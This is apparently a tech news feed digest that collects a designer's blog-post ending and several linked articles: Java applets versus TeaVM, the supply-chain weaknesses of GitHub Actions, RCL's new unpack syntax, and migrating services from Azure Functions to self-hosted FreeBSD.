I think our problems started from before we even began to touch a single design tool. As a favor to one of the folks involved, we had discounted our rates for this client, and I think that set us off on the wrong foot. Instead of seeing us as people who brought valuable knowledge and expertise to the project, they saw us as the hands that would execute their vision.

Especially for those not familiar with the process of design, it can be tempting to see things like discovery and wireframing as obstacles to be cleared before you get to the fun part, designing the visual identity. Unfortunately, many designers are also guilty of this!

As service providers, I believe we need to do a better job on educating clients on the design process and why each step is so important. This is radical idea in some circles, but knowing why you’re building something is a necessary part of doing a good job at it! That’s why we do things like determining the architecture before we start thinking about the brand. Flow charts and diagrams are not as fun as interactive prototypes, but they’re much more important to get right.

Also, the discounted pricing probably didn’t help — instead of signaling that we were doing a favor out of respect for them, it just signaled that we were easily exploitable. There was a lack of trust throughout the process, on both sides. While I really want to believe that I can have the kind of relationships with clients where constructive disagreement is welcomed and valued, how I get there is still something I’m figuring out, even many years later.

I think that’s part of the reason why I blog. By blogging, I’m putting a body of work out there that communicates my values and ethos. While much of the details of my client work has to remain private, these posts can be public, and hopefully they can help me find people who resonate with what I have to offer. Or you know, just be bold enough to communicate ‘Fuck off’ to those who don’t!

(Feel free to reach out if you’re interested in working with folks who care, maybe a little too much, about doing right by your users.)

potential security breach in syncthing-fork

Lobsters
mastodon.pirateparty.be
2025-12-08 08:55:51
Comments...

[$] An open seat on the TAB

Linux Weekly News
lwn.net
2025-12-08 08:25:43
As has been recently announced, nominations are open for the 2025 Linux Foundation Technical Advisory Board (TAB) elections. I am one of the TAB members whose term is coming to an end, but I have decided that, after 18 years on the board, I will not be seeking re-election; instead, I will step...
Original Article

The page you have tried to view ( An open seat on the TAB ) is currently available to LWN subscribers only.

Reader subscriptions are a necessary way to fund the continued existence of LWN and the quality of its content.

If you are already an LWN.net subscriber, please log in with the form below to read this content.

Please consider subscribing to LWN . An LWN subscription provides numerous benefits, including access to restricted content and the warm feeling of knowing that you are helping to keep LWN alive.

(Alternatively, this item will become freely available on December 18, 2025)

Applets Are Officially Gone, but Java in the Browser Is Better

Hacker News
frequal.com
2025-12-08 08:16:26
Comments...
Original Article

Summary

Applets are officially, completely removed from Java 26, coming in March of 2026. This brings to an official end the era of applets, which began in 1996. However, for years it has been possible to build modern, interactive web pages in Java without needing applets or plugins. TeaVM provides fast, performant, and lightweight tooling to transpile Java to run natively in the browser. And for a full front-end toolkit with templates, routing, components, and more, Flavour lets you build your modern single-page app using 100% Java.

Applet History

Applets were first supported in Java 1.0 in 1996. Back then the web was mostly static text, with only the blink or marquee tags (and animated GIFs) to provide dynamic elements without a server round-trip. Applets allowed Java code to provide full interactivity, whether it was a full AWT/Swing GUI, or a Panel/JPanel on which a full Java2D-rendered scene could be built.

Java developers made games, 3D molecule renderings, business applications, and more. While download speeds and processor speeds in the late 90's placed some limits on what could be done, the creativity shown was remarkable. And for developers, the deployment model for their code was very enticing: post your applet on a web page, and anyone on the planet could run it instantly, as long as they had the Java plug-in installed (which, at the time, was very likely).

In the 2000's, politics interfered and browser vendors removed plug-in support, instead preferring their own walled gardens and restricted sandboxes, which often lag behind industry standards for years . This undid years of innovation and broke large parts of the internet that depended on plug-ins.

TeaVM

TeaVM came to the rescue in 2013, giving Java developers a fast, efficient way to use Java code to drive the browser. With short build times, small app sizes, and batteries-included build tooling, TeaVM was a revolution in developing for the web with Java. Apps that previously required numerous round-trips, or duplicating validation and logic in 2 incompatible code bases, could now run natively in the browser while sharing code with the backend.

TeaVM, at its heart, transpiles Java code into JavaScript (or, these days, WASM). However, in order for Java code to be useful for web apps, much more is required, and TeaVM delivers. It includes a minifier, to shrink the generated code and obfuscate the intent, to complicate reverse-engineering. It has a tree-shaker to eliminate unused methods and classes, keeping your app download compact. It packages your code into a single file for easy distribution and inclusion in your HTML page. It also includes wrappers for all popular browser APIs, so you can invoke them from your Java code easily, with full IDE assistance and auto-correct.

TeaVM is revolutionary in its approach and performance. It is a remarkable achievement that opens doors to Java developers. For certain apps, especially games, that primarily render on a canvas , it can be all you need. However, for many web apps, you find you want to build pages out of HTML. You want to build and reuse components. You want binding to reduce boilerplate for populating form elements and reacting to events. You want to communicate with Java services painlessly. For these things, you need Flavour , built on top of TeaVM.

Flavour

The Flavour framework is a batteries-included framework for coding, packaging, and optimizing single-page apps implemented in Java. It supports everything you need in a modern web app, including:
  • Templates
  • Components
  • Routing
  • JSON Handling
  • Resource Embedding
  • Security
Flavour is 100% open source, licensed under the permissive Apache 2.0 license. You never need to worry about license fees or surprises at renewal time.

Flavour is based on HTML templates and CSS for styling, only adding custom tags where needed to implement SPA functionality (conditional markup, variables, etc.). By leveraging HTML and CSS, Flavour ensures long-term compatibility and builds on skills you already have.

Flavour has had a stable API since inception — code written in the earliest days works with only the slightest of changes (addition of a single annotation on POJOs exchanged on the wire). And this stability extends to new releases.

It's easy to get started writing awesome web apps in Flavour:


Last modified on 7 Dec 2025 by AO

Copyright © 2025 Andrew Oliver

GitHub Actions Has a Package Manager, and It Might Be the Worst

Hacker News
nesbitt.io
2025-12-08 08:15:32
Comments...
Original Article

After putting together ecosyste-ms/package-manager-resolvers , I started wondering what dependency resolution algorithm GitHub Actions uses. When you write uses: actions/checkout@v4 in a workflow file, you’re declaring a dependency. GitHub resolves it, downloads it, and executes it. That’s package management. So I went spelunking into the runner codebase to see how it works. What I found was concerning.

Package managers are a critical part of software supply chain security. The industry has spent years hardening them after incidents like left-pad, event-stream, and countless others. Lockfiles, integrity hashes, and dependency visibility aren’t optional extras. They’re the baseline. GitHub Actions ignores all of it.

Compared to mature package ecosystems:

Feature npm Cargo NuGet Bundler Go Actions
Lockfile
Transitive pinning
Integrity hashes
Dependency tree visibility
Resolution specification

The core problem is the lack of a lockfile. Every other package manager figured this out decades ago: you declare loose constraints in a manifest, the resolver picks specific versions, and the lockfile records exactly what was chosen. GitHub Actions has no equivalent. Every run re-resolves from your workflow file, and the results can change without any modification to your code.

Research from USENIX Security 2022 analyzed over 200,000 repositories and found that 99.7% execute externally developed Actions, 97% use Actions from unverified creators, and 18% run Actions with missing security updates. The researchers identified four fundamental security properties that CI/CD systems need: admittance control, execution control, code control, and access to secrets. GitHub Actions fails to provide adequate tooling for any of them. A follow-up study using static taint analysis found code injection vulnerabilities in over 4,300 workflows across 2.7 million analyzed. Nearly every GitHub Actions user is running third-party code with no verification, no lockfile, and no visibility into what that code depends on.

Mutable versions. When you pin to actions/checkout@v4 , that tag can move. The maintainer can push a new commit and retag. Your workflow changes silently. A lockfile would record the SHA that @v4 resolved to, giving you reproducibility while keeping version tags readable. Instead, you have to choose: readable tags with no stability, or unreadable SHAs with no automated update path.

GitHub has added mitigations. Immutable releases lock a release’s git tag after publication. Organizations can enforce SHA pinning as a policy. You can limit workflows to actions from verified creators. These help, but they only address the top-level dependency. They do nothing for transitive dependencies, which is the primary attack vector.

Invisible transitive dependencies. SHA pinning doesn’t solve this. Composite actions resolve their own dependencies, but you can’t see or control what they pull in. When you pin an action to a SHA, you only lock the outer file. If it internally pulls some-helper@v1 with a mutable tag, your workflow is still vulnerable. You have zero visibility into this. A lockfile would record the entire resolved tree, making transitive dependencies visible and pinnable. Research on JavaScript Actions found that 54% contain at least one security weakness, with most vulnerabilities coming from indirect dependencies. The tj-actions/changed-files incident showed how this plays out in practice: a compromised action updated its transitive dependencies to exfiltrate secrets. With a lockfile, the unexpected transitive change would have been visible in a diff.

No integrity verification. npm records integrity hashes in the lockfile. Cargo records checksums in Cargo.lock . When you install, the package manager verifies the download matches what was recorded. Actions has nothing. You trust GitHub to give you the right code for a SHA. A lockfile with integrity hashes would let you verify that what you’re running matches what you resolved.

Re-runs aren’t reproducible. GitHub staff have confirmed this explicitly : “if the workflow uses some actions at a version, if that version was force pushed/updated, we will be fetching the latest version there.” A failed job re-run can silently get different code than the original run. Cache interaction makes it worse: caches only save on successful jobs, so a re-run after a force-push gets different code and has to rebuild the cache. Two sources of non-determinism compounding. A lockfile would make re-runs deterministic: same lockfile, same code, every time.

No dependency tree visibility. npm has npm ls . Cargo has cargo tree . You can inspect your full dependency graph, find duplicates, trace how a transitive dependency got pulled in. Actions gives you nothing. You can’t see what your workflow actually depends on without manually reading every composite action’s source. A lockfile would be a complete manifest of your dependency tree.

Undocumented resolution semantics. Every package manager documents how dependency resolution works. npm has a spec. Cargo has a spec. Actions resolution is undocumented. The runner source is public , and the entire “resolution algorithm” is in ActionManager.cs . Here’s a simplified version of what it does:

// Simplified from actions/runner ActionManager.cs
async Task PrepareActionsAsync(steps) {
    // Start fresh every time - no caching
    DeleteDirectory("_work/_actions");

    await PrepareActionsRecursiveAsync(steps, depth: 0);
}

async Task PrepareActionsRecursiveAsync(actions, depth) {
    if (depth > 10)
        throw new Exception("Composite action depth exceeded max depth 10");

    foreach (var action in actions) {
        // Resolution happens on GitHub's server - opaque to us
        var downloadInfo = await GetDownloadInfoFromGitHub(action.Reference);

        // Download and extract - no integrity verification
        var tarball = await Download(downloadInfo.TarballUrl);
        Extract(tarball, $"_actions/{action.Owner}/{action.Repo}/{downloadInfo.Sha}");

        // If composite, recurse into its dependencies
        var actionYml = Parse($"_actions/{action.Owner}/{action.Repo}/{downloadInfo.Sha}/action.yml");
        if (actionYml.Type == "composite") {
            // These nested actions may use mutable tags - we have no control
            await PrepareActionsRecursiveAsync(actionYml.Steps, depth + 1);
        }
    }
}

That’s it. No version constraints, no deduplication (the same action referenced twice gets downloaded twice), no integrity checks. The tarball URL comes from GitHub’s API, and you trust them to return the right content for the SHA. A lockfile wouldn’t fix the missing spec, but it would at least give you a concrete record of what resolution produced.

Even setting lockfiles aside, Actions has other issues that proper package managers solved long ago.

No registry. Actions live in git repositories. There’s no central index, no security scanning, no malware detection, no typosquatting prevention. A real registry can flag malicious packages, store immutable copies independent of the source, and provide a single point for security response. The Marketplace exists but it’s a thin layer over repository search. Without a registry, there’s nowhere for immutable metadata to live. If an action’s source repository disappears or gets compromised, there’s no fallback.

Shared mutable environment. Actions aren’t sandboxed from each other. Two actions calling setup-node with different versions mutate the same $PATH . The outcome depends on execution order, not any deterministic resolution.

No offline support. Actions are pulled from GitHub on every run. There’s no offline installation mode, no vendoring mechanism, no way to run without network access. Other package managers let you vendor dependencies or set up private mirrors. With Actions, if GitHub is down, your CI is down.

The namespace is GitHub usernames. Anyone who creates a GitHub account owns that namespace for actions. Account takeovers and typosquatting are possible. When a popular action maintainer’s account gets compromised, attackers can push malicious code and retag. A lockfile with integrity hashes wouldn’t prevent account takeovers, but it would detect when the code changes unexpectedly. The hash mismatch would fail the build instead of silently running attacker-controlled code. Another option would be something like Go’s checksum database, a transparent log of known-good hashes that catches when the same version suddenly has different contents.

How Did We Get Here?

The Actions runner is forked from Azure DevOps, designed for enterprises with controlled internal task libraries where you trust your pipeline tasks. GitHub bolted a public marketplace onto that foundation without rethinking the trust model. The addition of composite actions and reusable workflows created a dependency system, but the implementation ignored lessons from package management: lockfiles, integrity verification, transitive pinning, dependency visibility.

This matters beyond CI/CD. Trusted publishing is being rolled out across package registries: PyPI, npm, RubyGems, and others now let you publish packages directly from GitHub Actions using OIDC tokens instead of long-lived secrets. OIDC removes one class of attacks (stolen credentials) but amplifies another: the supply chain security of these registries now depends entirely on GitHub Actions, a system that lacks the lockfile and integrity controls these registries themselves require. A compromise in your workflow’s action dependencies can lead to malicious packages on registries with better security practices than the system they’re trusting to publish.

Other CI systems have done better. GitLab CI added an integrity keyword in version 17.9 that lets you specify a SHA256 hash for remote includes. If the hash doesn’t match, the pipeline fails. Their documentation explicitly warns that including remote configs “is similar to pulling a third-party dependency” and recommends pinning to full commit SHAs. GitLab recognized the problem and shipped integrity verification. GitHub closed the feature request.

GitHub’s design choices don’t just affect GitHub users. Forgejo Actions maintains compatibility with GitHub Actions, which means projects migrating to Codeberg for ethical reasons inherit the same broken CI architecture. The Forgejo maintainers openly acknowledge the problems , with contributors calling GitHub Actions’ ecosystem “terribly designed and executed.” But they’re stuck maintaining compatibility with it. Codeberg mirrors common actions to reduce GitHub dependency, but the fundamental issues are baked into the model itself. GitHub’s design flaws are spreading to the alternatives.

GitHub issue #2195 requested lockfile support. It was closed as “not planned” in 2022. Palo Alto’s “Unpinnable Actions” research documented how even SHA-pinned actions can have unpinnable transitive dependencies.

Dependabot can update action versions, which helps. Some teams vendor actions into their own repos. zizmor is excellent at scanning workflows and finding security issues. But these are workarounds for a system that lacks the basics.

The fix is a lockfile. Record resolved SHAs for every action reference, including transitives. Add integrity hashes. Make the dependency tree inspectable. GitHub closed the request three years ago and hasn’t revisited it.


Further reading:

Adding unpack syntax to RCL

Lobsters
ruudvanasseldonk.com
2025-12-08 08:14:28
Comments...
Original Article

written by
published

I am building a new configuration language and json query tool: RCL . It extends json into a simple functional language that enables abstraction and reuse. Rather than string templating serialized data, RCL enables you to template data structures directly. A common operation here is to build lists and dicts out of other lists and dicts. While RCL had several ways to do this, I wasn’t satisfied with them. I wanted unpack . In v0.11.0 I finally implemented this feature, and you can now use .. and ... to unpack lists and dicts:

let xs = [3, 4];
let ys = [1, 2, ..xs, 5, 6];

let defaults = { kind = "fruit", tasty = true };
let fruits = [
  { ...defaults, name = "banana" },
  { ...defaults, name = "grapefruit", tasty = false },
];

In this post we’ll explore the trade-offs involved in adding this feature.

Why unpack?

Unpack does not make RCL more expressive. Anything unpack can do, was already possible with comprehensions. This list unpack and comprehension are equivalent:

[1, 2, ..xs]
[1, 2, for x in xs: x]

And this dict unpack and comprehension are equivalent:

{ id = 42, ...opts }
{ id = 42, for k, v in opts: k: v }

Furthermore, the union operator | could be used for dict and set unions. With that, the above dict could be written as:

{ id = 42 } | opts

There are two problems with those options.

  • Comprehensions are too verbose.
  • Binary operators are awkward to format.

The comprehensions aren’t even that verbose, but it’s enough friction that I dreaded writing them out every time, and they obscure a simple operation (splice a list, set, or dict into another one) behind syntactic noise (keywords, punctuation, and additional variables). Even the triple dot is a bit verbose for my taste, but we’ll get to why it exists below.

The union operator doesn’t suffer from verbosity, but there is no great way to format it when one of the sides is a multi-line dict, and I don’t like how in a larger multi-line union the first term looks different from the others. Once we express unions with unpack, everything becomes completely uniform. Compare:

// With union operator:
let widget =
  widget_default_opts
  | turbo_encabulator_opts
  | {
    id = 42,
    bearings = "spurving",
  };

// With unpack:
let widget = {
  ...widget_default_opts,
  ...turbo_encabulator_opts,
  id = 42,
  bearings = "spurving",
};

The difference is superficial, but it is one of those differences between a tool that technically does what you need, and one that’s a joy to use. Moreover, I expect the unpack version to be more self-explanatory to newcomers. Aside from the formatting challenge, the union operator has a fairly complex implementation in the type system, and removing it would be a welcome simplification.

Unpack solves these problems with a single mechanism. It makes RCL more coherent, and more pleasant to read. For a long time it was clear to me that RCL needed unpack, but it took me some time to work out the details.

Meet Set, the troublemaker

It turns out that as with number types , my wishlist had incompatible items, and one of them had to go. I wanted:

  • A set data type.
  • That is written with curly braces just like dicts.
  • That is always syntactically distinguishable from dicts.
  • A single syntax, .. , for all types of unpack.

It turns out, sets cause trouble. As in Python, both sets and dicts are written with curly braces in RCL . This causes some implementation complexity, but at least it was always possible to tell dicts and sets apart syntactically: dicts contain key-value pairs, whereas sets contain single values. (The one exception is the empty collection {} , which for json compatibility has to be a dict. The empty set is written std.empty_set .) These are unambiguous:

let set1 = {1, 2, 3};
let set2 = {for x in xs: x};

let dict1 = { a = 1, b = 2 };
let dict2 = { for k, v in dict: k: v };

But if .. unpacked both sets and dicts, then what is this?

let unknown = { ..xs };

It depends on whether xs is a dict or set, we can’t tell from just the syntax tree. It would be possible to deal with this at runtime and in the typechecker , but RCL aims to be a reasonable configuration language, and one thing that means to me is that you can reason about what a program does, ideally without having to consult the definitions of variables that may be far away.

And so the wishlist items are incompatible. One of them has to go.

Removing sets.
Without sets, all these problems go away. Many other problems also go away: duplication between list and set methods, having to write “list or set” in places that accept both, and having only bad options for typing such cases (unions exist but are verbose and may be confusing to newcomers, but a dedicated collection type brings even more complexity). Do we really need sets? As with unsigned integers, they fill a niche where they encode constraints that are sometimes useful, but in priciple we could just use lists and add e.g. a unique method that removes duplicates. And if your collections are so large that algorithmic complexity matters, RCL is probably not the right language for your problem anyway. So I tried it. I deleted sets. I played around with the stripped-down version, but ultimately, sets are useful, and I didn’t want to give up on them yet.

Give sets a different syntax.
Using a single unpack syntax only creates an ambiguity when dicts and sets are both written with curly braces. What if sets used different symbols? Which ones though? There aren’t that many symmetric pairs in ASCII . () , [] , and {} are already in use, and <> create ambiguities with the comparison operators. (This is what makes C++ notoriously difficult to parse, and it’s why Rust features the turbofish .) We could go for a digraph, maybe {||} , @{} , or a keyword like set {} , but they are less obvious to newcomers, and add visual noise. To me, being reasonable also means avoiding surprise, respecting established conventions if possible, and being readable even to people who haven’t seen the language before. The braces have to stay.

Embrace ambiguity.
Is it really so bad that we can’t tell whether { ..xs } is a dict or set? After all, we can’t tell the type of just xs from the syntax tree either. Even if it’s not clear from the syntax, the typechecker can usually infer it, and otherwise we can deal with it at runtime. I did not try implementing this option, partly because I was afraid it would be an invasive change, and partly because I feel the type of collection literals should be obvious from a glance at the code. I might revisit this option later. We can always desugar ... to .. in a future version, and the formatter could automatically upgrade documents. The other direction — going from one kind of unpack to two — would be much harder.

Use ... for dict unpack.
This is what I settled on for now: use .. to unpack lists and sets, and ... to unpack dicts. There is precedent for such a distinction: Python uses * and ** . Having just one type of unpack is in one sense simpler: there is less syntax to learn and memorize. It’s also more discoverable: what you know about list unpack transfers to dicts. However, reusing .. for both kinds of unpack is not simpler in the Hickeyan sense , and we can address discoverability with helpful error messages. Those turned out to be more complex than I expected because of the many possible cases, but in the end I handled them all, and so far I’m happy with the result.

Conclusion

RCL is a new configuration language and json query tool that extends json into a simple functional language that enables abstraction and reuse. Common operations in RCL documents are to splice one list into another, to fill a dict with default values, or to take the union of multiple sets. While RCL supported this through comprehensions, for simple cases they were too verbose to be ergonomic. The union operator does not suffer from verbosity, but its meaning is less obvious to newcomers, and it can be awkward to format. Unpack solves both problems elegantly, and is now available in RCL v0.11.0 .

If this post piqued your interest, try out RCL in the online playgroud , or jump straight to the manual .

From Azure Functions to FreeBSD

Lobsters
jmmv.dev
2025-12-08 07:58:21
Comments...
Original Article

Putting FreeBSD’s “power to serve” motto to the test.

On Thanksgiving morning, I woke up to one of my web services being unavailable. All HTTP requests failed with a “503 Service unavailable” error. I logged into the console, saw a simplistic “Runtime version: Error” message, and was not able to diagnose the problem.

I did not spend a lot of time trying to figure the issue out and I didn’t even want to contact the support black hole. Because… there was something else hidden behind an innocent little yellow warning at the top of the dashboard:

Migrate your app to Flex Consumption as Linux Consumption will reach EOL on September 30 2028 and will no longer be supported.

I had known for a few weeks now, while trying to set up a new app, that all of my Azure Functions apps were on death row. The free plan I was using was going to be decommissioned and the alternatives I tried didn’t seem to support custom handlers written in Rust. I still had three years to deal with this, but hitting a showstopper error pushed me to take action.

All of my web services are now hosted by the FreeBSD server in my garage with just a few tweaks to their codebase. This is their migration story.

How did I get here?

Back in 2021, I had been developing my EndBASIC language for over a year and I wanted to create a file sharing service for it. Part of this was to satisfy my users, but another part was to force myself into the web services world as I felt “behind”.

At that time, I had also been at Microsoft for a few months already working on Azure Storage. One of the perks of the job was something like $300 of yearly credit to deploy stuff on Azure for learning purposes. It was only “natural” that I’d pick Azure for what I wanted to do with EndBASIC.

Now… $300 can be plentiful for a simple app, but it can also be paltry. Running a dedicated VM would eat through this in a couple of months, but the serverless model offered by Azure Functions with its “infinite” free tier would go a long way. I looked at their online documentation, found a very good guide on how to deploy Rust-native functions onto a Linux runtime , and… I was sold.

I quickly got a bare bones service up and running on Azure Functions and I built it up from there. Based on these foundations, I later developed a separate service for my own site analytics (poorly named EndTRACKER ), and I recently started working on a new service to provide secure auto-unlock of encrypted ZFS volumes (stay tuned!).

And, for the most part, the experience with Azure has been neat. I learned a bunch and I got to a point where I had set up “push on green” via GitHub Actions and dual staging vs. prod deployments. The apps ran completely on their own for the last three years, a testament to the stability of the platform and to the value of designing for testability . Until now that is.

The cloud database

Compute-wise, I was set: Azure Functions worked fine as the runtime for my apps’ logic and it cost pennies to run, so the $300 was almost untouched. But web services aren’t made of compute alone: they need to store data, which means they need a database.

My initial research in 2021 concluded that the only option for a database instance with a free plan was to go with, no surprise, serverless Microsoft SQL Server (MSSQL). I had never used Microsoft’s offering but it couldn’t be that different from PostgreSQL or MySQL, could it?

Maybe so, but I didn’t get very far in that line of research. The very first blocker I hit was that the MSSQL connection required TLS and this hadn’t been implemented in the sqlx connector I chose to use for my Rust-based functions. I wasted two weeks implementing TLS support in sqlx (see PR #1200 and PR #1203 ) and got it to work, but that code was not accepted upstream because it conflicted with their business strategy. Needless to say, this was disappointing because getting that TlsStreamWrapper to work was a frigging nightmare. In any case, once I passed that point, I started discovering more missing features and bugs in the MSSQL connector, and then I also found some really weird surprises in MSSQL’s dialect of SQL. TL;DR, this turned into a dead end.

On the left, the default instance and cost selected by Azure when choosing to create a managed PostgreSQL server today. On the right, minimum possible cost after dialing down CPU, RAM, disk, and availability requirements.

I had no choice other than to provision a full PostgreSQL server on Azure. Their onboarding wizard tried to push me towards a pretty beefy and redundant instance that would cost over $600 per month when all I needed was the lowest machine you could get for the amount of traffic I expected. Those options were hidden under a “for development only” panel and riddled with warnings about no redundancy, but after I dialed all the settings down and accepted the “serious risks”, I was left with an instance that’d cost $15 per month or so. This fit well well within the free yearly credit I had access to, so that was it.

The outage and trigger

About two months ago, I started working on a new service to securely auto-unlock ZFS encrypted volumes (more details coming). For this, I had to create a new Azure Functions deployment… and I started seeing the writing on the wall. I don’t remember the exact details, but it was really difficult to get the creation wizard to provision me the same flex plan I had used for my other services, and it was warning me that the selected plan was going to be axed in 2028.

At the time of this writing, 2028 is still three years out and this warning was for a new service I was creating. I didn’t want to consider migrating neither EndBASIC nor EndTRACKER to something else just yet. Until Thanksgiving, that was.

On Thanksgiving morning, I noticed that my web analytics had stopped working. All HTTP API requests failed with a “503 Service unavailable.” error but, interestingly, the cron-triggered APIs were still running in the background just fine and the staging deployment slot of the same app worked fine end-to-end as well. I tried redeploying the app with a fresh binary, thinking that a refresh would fix the problem, but that was of no use. I also poked through the dashboard trying to figure out what “Runtime version: Error” would be about, making sure the version spec in host.json was up-to-date, and couldn’t figure it out either.

Summary state of my problematic Azure Functions deployment. Note the cryptic runtime error along with the subtle warning at the top about upcoming deprecations.

So… I had to get out of Azure Functions, quick.

Not accidentally, I had bought a second-hand, over-provisioned ThinkStation (2x36-core Xeon E5-2697, 64 GB of RAM, a 2 TB NVMe drive, and a 4x4 TB HDD array) just two years back. The justification I gave myself was to use it as my development server, but I had this idea in the back of my mind to use it to host my own services at some point. The time to put it to serving real-world traffic with FreeBSD 14.x had come.

From serverless to serverful

The way you run a serverless Rust (or Go) service on Azure Functions is by creating a binary that exposes an HTTP server on the port provided to it by the FUNCTIONS_CUSTOMHANDLER_PORT environment variable. Then, you package the binary along a set of metadata JSON files that tell the runtime what HTTP routes the binary serves and push the packaged ZIP file to Azure. From there on, the Azure Functions runtime handles TLS termination for those routes, spawns your binary server on a micro VM on demand, and redirects the requests to it.

By removing the Azure Functions runtime from the picture, I had to make my server binary stand alone. This was actually pretty simple because the binary was already an HTTP server: it just had to be coerced into playing nicely with FreeBSD’s approach to running services. In particular, I had to:

  • Inject configuration variables into the server process at startup time. These used to come from the Azure Functions configuration page, and are necessary to tell the server where the database lives and what credentials to use.
  • Make the service run as an unprivileged user, easily.
  • Create a PID file to track the execution of the process so that the rc.d framework could handle restarts and stop requests.
  • Store the logs that the service emits via stderr to a log file, and rotate the log to prevent local disk overruns.

Most daemons implement all of the above as features in their own code, but I did not want to have to retrofit all of these into my existing HTTP service in a rush. Fortunately, FreeBSD provides this little tool, daemon(8) , which wraps an existing binary and offers all of the above.

This incantation was enough to get me going:

daemon \
    -P /var/run/endbasic.pid \
    -o /var/log/endbasic.log \
    -H \
    -u endbasic \
    -t endbasic \
    /bin/sh -c '
        . /usr/local/etc/endbasic.conf
        /usr/local/sbin/endbasic'

I won’t dive into the details of each flag, but to note: -P specifies which PID file to create; -o specifies where to store the stdout and stderr of the process; -H is required for log rotation (much more below); -u drops privileges to the given user; and -t specifies the “title” of the process to display in ps ax output.

The . /usr/local/etc/endbasic.conf trick was sufficient to inject configuration variables upon process startup, simulating the same environment that my server used to see when spawned by the Azure Functions runtime.

Hooking that up into an rc.d service script was then trivial:

#! /bin/sh

# PROVIDE: endbasic
# REQUIRE: NETWORKING postgresql

. /etc/rc.subr

name="endbasic"
command="daemon"
rcvar="endbasic_enable"
pidfile="/var/run/${name}.pid"
start_cmd="endbasic_start"
required_files="
    /usr/local/etc/endbasic.conf
    /usr/local/sbin/endbasic"

endbasic_start()
{
    if [ ! -f /var/log/endbasic.log ]; then
        touch /var/log/endbasic.log
        chmod 600 /var/log/endbasic.log
        chown endbasic /var/log/endbasic.log
    fi

    echo "Starting ${name}."
    daemon \
        -P "${pidfile}" \
        -o /var/log/endbasic.log \
        -H \
        -u endbasic \
        -t endbasic \
        /bin/sh -c '
            . /usr/local/etc/endbasic.conf
            /usr/local/sbin/endbasic'
}

load_rc_config $name
run_rc_command "$1"

And with that:

sysrc endbasic_enabled="YES"
service endbasic start

Ta-da! I had the service running locally and listening to a local port determined in the configuration file.

As part of the migration out of Azure Functions, I switched to self-hosting PostgreSQL as well. This was straightforward but required a couple of extra improvements to my web framework: one to stop using a remote PostgreSQL instance for tests (something I should have done eons ago), and another to support local peer authentication to avoid unnecessary passwords.

Log rotation

In the call to daemon above, I briefly mentioned the need for the -H flag to support log rotation. What’s that about?

You see, in Unix-like systems, when a process opens a file, the process holds a handle to the open file. If you delete or rename the file, the handle continues to exist exactly as it was . This has two consequences:

  • If you rename the file, all subsequent reads and writes go to the new file location, not the old one.
  • If you delete the file, all subsequent reads and writes continue to go to disk but to a file you cannot reference anymore. You can run out of disk space and, while df will confirm the fact, du will not let you find what file is actually consuming it!

For a long-running daemon that spits out verbose logs, writing them to a file can become problematic because you can end up running out of disk space. To solve this problem, daemons typically implement log rotation : a mechanism to keep log sizes in check by moving them aside when a certain period of time passes or when they cross a size threshold, and then only keeping the last N files around. Peeking into one of the many examples in my server, note how maillog is the “live” log where writes go to but there is a daily maillog.N.bz2 archive for up to a week:

$ ls -l /var/log/maillog*
-rw-r----- 1 root       wheel       4206 Dec  6 05:41 maillog
-rw-r----- 1 root       wheel        823 Dec  6 00:00 maillog.0.bz2
-rw-r----- 1 root       wheel        876 Dec  5 00:00 maillog.1.bz2
-rw-r----- 1 root       wheel        791 Dec  4 00:00 maillog.2.bz2
-rw-r----- 1 root       wheel        820 Dec  3 00:00 maillog.3.bz2
-rw-r----- 1 root       wheel        808 Dec  2 00:00 maillog.4.bz2
-rw-r----- 1 root       wheel        759 Dec  1 00:00 maillog.5.bz2
-rw-r----- 1 root       wheel        806 Nov 30 00:00 maillog.6.bz2
$ █

Having all daemons implement log rotation logic on their own would be suboptimal because you’d have duplicate logic throughout the system and you would not be able to configure policy easily for them all. This is where newsyslog(8) on FreeBSD (or logrotate(8) on Linux) comes into play.

newsyslog is a tool that rotates log files based on criteria such as size or time and optionally compresses them. But remember: the semantics of open file handles mean that simply renaming log files is insufficient! Once newsyslog takes action and moves a log file aside, it must ensure that the process that was writing to that file closes the file handle and reopens it so that writes start going to the new place. This is typically done via sending a SIGHUP to the daemon, and is why we need to pass -H to the daemon call. To illustrate the sequence:

  1. The system starts a service via daemon and redirects logs to /var/log/service.log .
  2. newsyslog runs and determines that /var/log/service.log needs to be rotated because a day has passed.
  3. newsyslog renames /var/log/service.log to /var/log/service.log.0 and creates a new and empty /var/log/service.log . At this point daemon is still writing to /var/log/service.log.0 !
  4. newsyslog sends a SIGHUP to the daemon process.
  5. The daemon process closes its file handle for the log, reopens /var/log/service.log (which is the fresh new log file), and resumes writing.
  6. newsyslog compresses the /var/log/service.log.0 file for archival now that it’s quiesced.

Configuring newsyslog is easy, but cryptic. We can create a service-specific configuration file under /usr/local/etc/newsyslog.d/ that provides entries for our service, such as:

/var/log/endbasic.log endbasic:wheel 600 7 * @T00 JC /var/run/endbasic.pid

I’ll leave you to the manpage to figure out what the 7 * @T00 JC magic is (but in short, it controls retention count, rotation schedule, and compression).

TLS termination

As I briefly mentioned earlier, the Azure Functions runtime was responsible for TLS termination in my previous setup. Without such a runtime in place, I had to configure TLS on my own in my HTTP server… or did I?

I had been meaning to play with Cloudflare Tunnels for a while given that I already use Cloudflare for DNS. Zero Trust Tunnels allow you to expose a service without opening inbound ports in your firewall. The way this works is by installing the cloudflared tunnel daemon on your machine and configuring the tunnel to redirect certain URL routes to an internal address (typically http://localhost:PORT ). Cloudflare then acts as the frontend for the requests, handles TLS termination and DDOS protection, and then redirects the request to your local service.

Interactions between client machines, Cloudflare servers, the cloudflared tunnel agent, and the actual HTTP servers I wrote.

The obvious downside of relying on someone else to do TLS termination instead of doing it yourself on your own server is that they can intercept and modify your traffic. For the kinds of services I run this isn’t a big deal for me, and the simplicity of others dealing with certificates is well welcome. Note that I was already offloading TLS termination to Azure Functions anyway, so this isn’t a downgrade in security or privacy.

CORS

But using Cloudflare as the frontend came with a little annoyance: CORS handling. You see: the services I run require configuring extra allowed origins, and as soon as I tried to connect to them via the Cloudflare tunnel, I’d get the dreaded “405 Method not allowed” error in the requests.

Before, I used to configure CORS orgins from the Azure Functions console, but no amount of peeking through the Cloudflare console showed me how to do this for my tunneled routes.

At some point during the investigation, I assumed that I had to configure CORS on my own server. I’m not sure how I reached that bogus conclusion, but I ended up wasting a few hours implementing a configuration system for CORS in my web framework . Nice addition… but ultimately useless.

I had not accounted for the fact that because Cloudflare acts as the frontend for the services, it is the one responsible for handling the pre-flight HTTP requests necessary for CORS. In turn, this means that Cloudflare is where CORS needs to be configured but there is nothing “obvious” about configuring CORS in the Cloudflare portal.

